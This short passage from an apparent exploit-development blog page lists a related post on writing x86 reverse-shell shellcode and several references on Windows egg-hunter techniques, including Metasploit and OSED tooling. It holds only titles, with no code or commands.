- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
- The Basics of Exploit Development 3: Egg Hunters – Coalfire Blog
- Windows User Mode Exploit Development: Egghunter Part 3 – memN0ps
- Windows Exploit Development: Egg Hunting – Shellcode.Blog
- Metasploit Framework – Msf::Exploit::Remote::Egghunter Mixin (Source)
- OSED Scripts: Egghunter Generator (NtAccessCheckAndAuditAlarm & SEH variants) – epi052/osed-scripts